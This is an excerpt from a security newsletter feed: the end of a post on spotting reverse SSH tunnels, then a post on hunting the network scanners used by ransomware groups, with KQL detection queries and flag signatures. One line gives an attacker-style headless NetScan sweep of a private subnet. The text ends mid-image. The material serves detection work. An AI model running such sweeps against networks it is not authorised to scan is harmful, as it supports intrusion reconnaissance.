endpoint.</p></li></ol><div><hr></div><p>You can&#8217;t see inside the tunnel. You never could.</p><p>But you can read what it leaks, the destination cardinality, the port spread, the connection churn, and that read carries you most of the way from &#8220;suspicious, unconfirmed&#8221; to an actual verdict. The stretch it doesn&#8217;t cover now has a name: the authorized scan that wears the attacker&#8217;s shape, which only context can separate.</p><p>That is the real skill, and it isn&#8217;t &#8220;ssh.exe -R is bad.&#8221; It&#8217;s being the analyst who can say where the telemetry stops and the change ticket takes over. That&#8217;s the analyst you hand the alert to.</p><p>It was never just a tunnel.</p><p>Run the correlation hunt against your own fleet inside the hour. The queries above paste straight into MDE and Elastic.</p><p>The next breakdown is already in the lab: RMM tooling, how attackers turn it into sanctioned-looking remote access, and the hunt that catches it. Akira doesn&#8217;t run one technique. Neither does this series. Each part is one lab-validated hunt you can run the day it drops. </p><p><strong>Subscribe </strong>so the next one finds you before the intrusion does.</p><p></p><div class="subscription-widget-wrap-editor" data-attrs="{&quot;url&quot;:&quot;https://newsletter.securityinbits.com/subscribe?&quot;,&quot;text&quot;:&quot;Subscribe&quot;,&quot;language&quot;:&quot;en&quot;}" data-component-name="SubscribeWidgetToDOM"><div class="subscription-widget show-subscribe"><div class="preamble"><p class="cta-caption">Thanks for reading Securityinbits! Subscribe for free to receive new posts and support my work.</p></div><form class="subscription-widget-subscribe"><input type="email" class="email-input" name="email" placeholder="Type your email&#8230;" tabindex="-1"><input type="submit" class="button primary" value="Subscribe"><div class="fake-input-wrapper"><div class="fake-input"></div><div class="fake-button"></div></div></form></div></div><p class="button-wrapper" data-attrs="{&quot;url&quot;:&quot;https://newsletter.securityinbits.com/p/detecting-reverse-ssh-socks-tunnels/comments&quot;,&quot;text&quot;:&quot;Leave a comment&quot;,&quot;action&quot;:null,&quot;class&quot;:null}" data-component-name="ButtonCreateButton"><a class="button primary" href="https://newsletter.securityinbits.com/p/detecting-reverse-ssh-socks-tunnels/comments"><span>Leave a comment</span></a></p><p></p><div><hr></div><h1>References</h1><ol><li><p><a href="https://thedfirreport.com/2025/11/04/from-bing-search-to-ransomware-bumblebee-and-adaptixc2-deliver-akira-2/">From Bing Search to Ransomware: Bumblebee and AdaptixC2 Deliver Akira - The DFIR Report</a></p></li><li><p><a href="https://www.cisa.gov/news-events/cybersecurity-advisories/aa24-109a">#StopRansomware: Akira Ransomware | CISA</a></p></li><li><p><a href="https://specterops.io/blog/2021/04/22/offensive-security-guide-to-ssh-tunnels-and-proxies/">Offensive Security Guide to SSH Tunnels and Proxies - SpecterOps</a></p></li><li><p><a href="https://github.com/SigmaHQ/sigma/blob/master/rules/windows/process_creation/proc_creation_win_ssh_port_forward.yml">Sigma Rule - Port Forwarding Activity Via SSH.EXE</a></p></li></ol>]]></content:encoded></item><item><title><![CDATA[Hunt Ransomware Before It Encrypts: The Three Tools 45+ Gangs Reach For]]></title><description><![CDATA[As of May 2026, 3,734 organizations have been hit by ransomware.]]></description><link>https://newsletter.securityinbits.com/p/hunt-ransomware-before-it-encrypts</link><guid isPermaLink="false">https://newsletter.securityinbits.com/p/hunt-ransomware-before-it-encrypts</guid><dc:creator><![CDATA[Ayush Anand]]></dc:creator><pubDate>Sat, 06 Jun 2026 13:02:29 GMT</pubDate><enclosure url="https://substackcdn.com/image/fetch/$s_!zmzh!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe8190c90-604d-4e6b-8cd7-7958f30a4e98_1654x598.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>In just the first five months of 2026, 4,113 organizations were hit by ransomware. The attackers were not caught at encryption because nothing fired earlier. The discovery phase is where the attack was cheap to stop.</p><p>Ransomware is a discovery problem before it&#8217;s an encryption problem. Every group has to map your network before they exfiltrate or encrypt. That mapping step is where the attack is cheap to stop, and 45+ groups do it with the same three tools.</p><p>You&#8217;ll get two things in this piece:</p><ol><li><p>Six queries (KQL for MDE, ESQL for Elastic, across Process, Network, and File events) that hunt SoftPerfect NetScan, Advanced IP Scanner (AIPS), and Advanced Port Scanner (APS). Not Sigma ports. Consolidated multi-signal queries that survive rename, filename strip, and hash change in a single pass.</p></li><li><p>A second signal hiding inside the detection that most defenders miss. A hit on two of these three tools doesn&#8217;t just mean &#8220;scanner ran.&#8221; It proves an interactive attacker session. The query at the end of Section 4 turns that proof into a pivot.</p></li></ol><p>Tested in lab against Sliver C2. Run it in the next hour. Triage today.</p><h1>1. Why discovery tools are the cheapest win</h1><p>After initial access, the attacker has to map your network before exfiltration and encryption. That mapping step uses the same handful of tools across 45+ groups. It is the chokepoint.</p><p><a href="https://github.com/BushidoUK/Ransomware-Tool-Matrix/">GitHub - BushidoUK/Ransomware-Tool-Matrix</a> by <a href="https://twitter.com/BushidoToken">@BushidoToken</a> catalogs which tools each ransomware group uses. Three names dominate the discovery row.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!9bM1!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F79af19f6-683b-4a9c-bc40-719dfc81def3_1200x516.jpeg" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!9bM1!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F79af19f6-683b-4a9c-bc40-719dfc81def3_1200x516.jpeg 424w, https://substackcdn.com/image/fetch/$s_!9bM1!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F79af19f6-683b-4a9c-bc40-719dfc81def3_1200x516.jpeg 848w, https://substackcdn.com/image/fetch/$s_!9bM1!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F79af19f6-683b-4a9c-bc40-719dfc81def3_1200x516.jpeg 1272w, https://substackcdn.com/image/fetch/$s_!9bM1!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F79af19f6-683b-4a9c-bc40-719dfc81def3_1200x516.jpeg 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!9bM1!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F79af19f6-683b-4a9c-bc40-719dfc81def3_1200x516.jpeg" width="1200" height="516" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/79af19f6-683b-4a9c-bc40-719dfc81def3_1200x516.jpeg&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:516,&quot;width&quot;:1200,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;Image&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:false,&quot;topImage&quot;:true,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="Image" title="Image" srcset="https://substackcdn.com/image/fetch/$s_!9bM1!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F79af19f6-683b-4a9c-bc40-719dfc81def3_1200x516.jpeg 424w, https://substackcdn.com/image/fetch/$s_!9bM1!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F79af19f6-683b-4a9c-bc40-719dfc81def3_1200x516.jpeg 848w, https://substackcdn.com/image/fetch/$s_!9bM1!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F79af19f6-683b-4a9c-bc40-719dfc81def3_1200x516.jpeg 1272w, https://substackcdn.com/image/fetch/$s_!9bM1!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F79af19f6-683b-4a9c-bc40-719dfc81def3_1200x516.jpeg 1456w" sizes="100vw" fetchpriority="high"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image buttonBase-GK1x3M"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg" class="icon-noB79L"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image buttonBase-GK1x3M"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2 icon-noB79L"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><blockquote><p>47 unique threat groups across three tools</p></blockquote><p>Why these three? Signed by recognized vendors. Portable, no installer needed. GUI-driven and visually indistinguishable from sysadmin work at a glance. Speed and familiarity beat custom tradecraft.</p><p>Most existing detection rules match on filename. Rename <code>advanced_ip_scanner.exe</code> to <code>chrome_update.exe</code> and the rule breaks. That is the gap this query closes.</p><div class="subscription-widget-wrap-editor" data-attrs="{&quot;url&quot;:&quot;https://newsletter.securityinbits.com/subscribe?&quot;,&quot;text&quot;:&quot;Subscribe&quot;,&quot;language&quot;:&quot;en&quot;}" data-component-name="SubscribeWidgetToDOM"><div class="subscription-widget show-subscribe"><div class="preamble"><p class="cta-caption">Thanks for reading Securityinbits! Subscribe for free to receive new posts and support my work.</p></div><form class="subscription-widget-subscribe"><input type="email" class="email-input" name="email" placeholder="Type your email&#8230;" tabindex="-1"><input type="submit" class="button primary" value="Subscribe"><div class="fake-input-wrapper"><div class="fake-input"></div><div class="fake-button"></div></div></form></div></div><h1>2. Shared telemetry signal across all three tools</h1><p>Rename the binary. Strip the filename. Hash the file differently. Three checks defeated. The vendor metadata baked into the executable at compile time? Still there.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!e8EV!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3283900a-c0d3-45aa-98ed-9078bb1197f3_401x364.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!e8EV!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3283900a-c0d3-45aa-98ed-9078bb1197f3_401x364.png 424w, https://substackcdn.com/image/fetch/$s_!e8EV!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3283900a-c0d3-45aa-98ed-9078bb1197f3_401x364.png 848w, https://substackcdn.com/image/fetch/$s_!e8EV!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3283900a-c0d3-45aa-98ed-9078bb1197f3_401x364.png 1272w, https://substackcdn.com/image/fetch/$s_!e8EV!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3283900a-c0d3-45aa-98ed-9078bb1197f3_401x364.png 1456w" sizes="auto, 100vw"><img src="https://substackcdn.com/image/fetch/$s_!e8EV!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3283900a-c0d3-45aa-98ed-9078bb1197f3_401x364.png" width="401" height="364" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/3283900a-c0d3-45aa-98ed-9078bb1197f3_401x364.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:364,&quot;width&quot;:401,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:15601,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://securityinbits.substack.com/i/200769925?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3283900a-c0d3-45aa-98ed-9078bb1197f3_401x364.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!e8EV!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3283900a-c0d3-45aa-98ed-9078bb1197f3_401x364.png 424w, https://substackcdn.com/image/fetch/$s_!e8EV!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3283900a-c0d3-45aa-98ed-9078bb1197f3_401x364.png 848w, https://substackcdn.com/image/fetch/$s_!e8EV!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3283900a-c0d3-45aa-98ed-9078bb1197f3_401x364.png 1272w, https://substackcdn.com/image/fetch/$s_!e8EV!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3283900a-c0d3-45aa-98ed-9078bb1197f3_401x364.png 1456w" sizes="auto, 100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image buttonBase-GK1x3M"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg" class="icon-noB79L"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image buttonBase-GK1x3M"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2 icon-noB79L"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p></p><p>PE (Portable Executable) is the file format every Windows binary uses. The vendor stamps their company name, product name, and description into a header section at compile time. Renaming the file does not touch the version info.</p><p>Three signals layer on top of each other.</p><p><strong>Signal 1: Vendor metadata (survives renames)</strong></p><ul><li><p>Famatech signs both Advanced IP Scanner and Advanced Port Scanner.</p></li><li><p>SoftPerfect signs NetScan.</p></li><li><p>One <code>ProcessVersionInfoCompanyName</code> check catches all three regardless of filename.</p></li></ul><p>Lab evidence: rename <code>advanced_ip_scanner.exe</code> to <code>HealthCheck.exe</code>. Open file properties. CompanyName still reads <code>Famatech</code>. ProductName still reads <code>Advanced IP Scanner</code>. The rename is a one-second defeat against any filename rule. The metadata check holds.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!zmzh!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe8190c90-604d-4e6b-8cd7-7958f30a4e98_1654x598.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!zmzh!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe8190c90-604d-4e6b-8cd7-7958f30a4e98_1654x598.png 424w, https://substackcdn.com/image/fetch/$s_!zmzh!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe8190c90-604d-4e6b-8cd7-7958f30a4e98_1654x598.png 848w, https://substackcdn.com/image/fetch/$s_!zmzh!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe8190c90-604d-4e6b-8cd7-7958f30a4e98_1654x598.png 1272w, https://substackcdn.com/image/fetch/$s_!zmzh!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe8190c90-604d-4e6b-8cd7-7958f30a4e98_1654x598.png 1456w" sizes="auto, 100vw"><img src="https://substackcdn.com/image/fetch/$s_!zmzh!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe8190c90-604d-4e6b-8cd7-7958f30a4e98_1654x598.png" width="1456" height="526" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/e8190c90-604d-4e6b-8cd7-7958f30a4e98_1654x598.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:526,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:134085,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://securityinbits.substack.com/i/200769925?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe8190c90-604d-4e6b-8cd7-7958f30a4e98_1654x598.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!zmzh!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe8190c90-604d-4e6b-8cd7-7958f30a4e98_1654x598.png 424w, https://substackcdn.com/image/fetch/$s_!zmzh!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe8190c90-604d-4e6b-8cd7-7958f30a4e98_1654x598.png 848w, https://substackcdn.com/image/fetch/$s_!zmzh!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe8190c90-604d-4e6b-8cd7-7958f30a4e98_1654x598.png 1272w, https://substackcdn.com/image/fetch/$s_!zmzh!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe8190c90-604d-4e6b-8cd7-7958f30a4e98_1654x598.png 1456w" sizes="auto, 100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image buttonBase-GK1x3M"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg" class="icon-noB79L"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image buttonBase-GK1x3M"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2 icon-noB79L"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p><strong>Signal 2: Command-line flag pairs (survives metadata strip)</strong></p><ul><li><p><code>/portable + /lng</code> for AIPS and APS. Portable mode skips the installer and runs from any path. The <code>/lng</code> (language) flag almost always travels with it.</p></li><li><p><code>/hide + /auto</code> for NetScan. Headless execution that writes scan output to disk, no GUI required.</p></li></ul><p>Example NetScan headless invocation seen in the wild:</p><pre><code>n.exe /hide /auto:C:\Users\Public\scan_results.xml /range:192.168.72.1-192.168.72.254
</code></pre><ul><li><p><code>/hide</code> runs NetScan with no GUI.</p></li><li><p><code>/auto:&lt;file&gt;</code> auto-runs the scan and writes XML output to that path.</p></li><li><p><code>/range:</code> defines the subnet sweep range</p></li></ul><p><strong>Signal 3: Network sweep scan (survives everything)</strong></p><p>One host hitting 50+ private IPs across 3+ ports inside 5 minutes is not normal user behavior. This signal catches the activity even if the binary is fully renamed and the metadata is stripped. Tool-agnostic.</p><div class="captioned-image-container"><figure><div class="image-link image2" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!Fexm!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc45b407a-1d2b-4414-93ee-12ec1e35b44f_1547x200.png 424w, https://substackcdn.com/image/fetch/$s_!Fexm!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc45b407a-1d2b-4414-93ee-12ec1e35b44f_1547x200.png 848w, https://substackcdn.com/image/fetch/$s_!Fexm!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc45b407a-1d2b-4414-93ee-12ec1e35b44f_1547x200.png 1272w, https://substackcdn.com/image/fetch/$s_!Fexm!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc45b407a-1d2b-4414-93ee-12ec1e35b44f_1547x200.png 1456w" sizes="auto, 100vw"><img src="https://substackcdn.com/image/fetch/$s_!Fexm!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc45b407a-1d2b-4414-93ee-12ec1e35b44f_1547x200.png" width="1456" height="188" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/c45b407a-1d2b-4414-93ee-12ec1e35b44f_1547x200.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:188,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:33976,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://securityinbits.substack.com/i/200769925?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc45b407a-1d2b-4414-93ee-12ec1e35b44f_1547x200.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!Fexm!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc45b407a-1d2b-4414-93ee-12ec1e35b44f_1547x200.png 424w, https://substackcdn.com/image/fetch/$s_!Fexm!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc45b407a-1d2b-4414-93ee-12ec1e35b44f_1547x200.png 848w, https://substackcdn.com/image/fetch/$s_!Fexm!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc45b407a-1d2b-4414-93ee-12ec1e35b44f_1547x200.png 1272w, https://substackcdn.com/image/fetch/$s_!Fexm!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc45b407a-1d2b-4414-93ee-12ec1e35b44f_1547x200.png 1456w" sizes="auto, 100vw" loading="lazy"></picture><div></div></div></div></figure></div><p></p><h1>3. The combined hunt query</h1><p>These are not one-to-one Sigma ports. Three tools. One query for each event type.</p><ul><li><p>Vendor metadata catches the renames.</p></li><li><p>Command-line flags catch the headless runs.</p></li><li><p>Network thresholds catch the sweep shape.</p></li><li><p>Folder paths catch the install artifacts.</p></li></ul><p><strong>Two SIEMs, copy-paste ready.</strong></p><h2>KQL (Microsoft Defender for Endpoint)</h2><h3>Process events</h3><blockquote><p><strong>Catches:</strong> any of the three tools by vendor, product, description, or flag pair. </p><p><strong>Tune:</strong> time window (default 30d). Otherwise leave alone.</p></blockquote><pre><code>let CompanyKeywords = dynamic(["Famatech", "SoftPerfect"]);
let ProductKeywords = dynamic(["Advanced IP Scanner", "Advanced Port Scanner", "Network Scanner"]);
let DescKeywords    = dynamic(["Advanced IP Scanner", "Advanced Port Scanner", "Application for scanning networks"]);
DeviceProcessEvents
| where Timestamp &gt; ago(30d)
| where ProcessVersionInfoCompanyName has_any (CompanyKeywords)
    or ProcessVersionInfoProductName has_any (ProductKeywords)
    or ProcessVersionInfoFileDescription has_any (DescKeywords)
    or ProcessCommandLine has_all ("/portable", "/lng")
    or ProcessCommandLine has_all ("/hide", "/auto")
| project
    Timestamp, DeviceName, AccountName, FileName,
    ProcessCommandLine, ProcessVersionInfoCompanyName,
    ProcessVersionInfoProductName, ProcessVersionInfoFileDescription,
    SHA256, InitiatingProcessFileName,
    InitiatingProcessCommandLine, InitiatingProcessParentFileName</code></pre><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!Z37f!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb9d6a783-8340-4b67-bd99-53e332b5eee7_1444x705.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!Z37f!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb9d6a783-8340-4b67-bd99-53e332b5eee7_1444x705.png 424w, 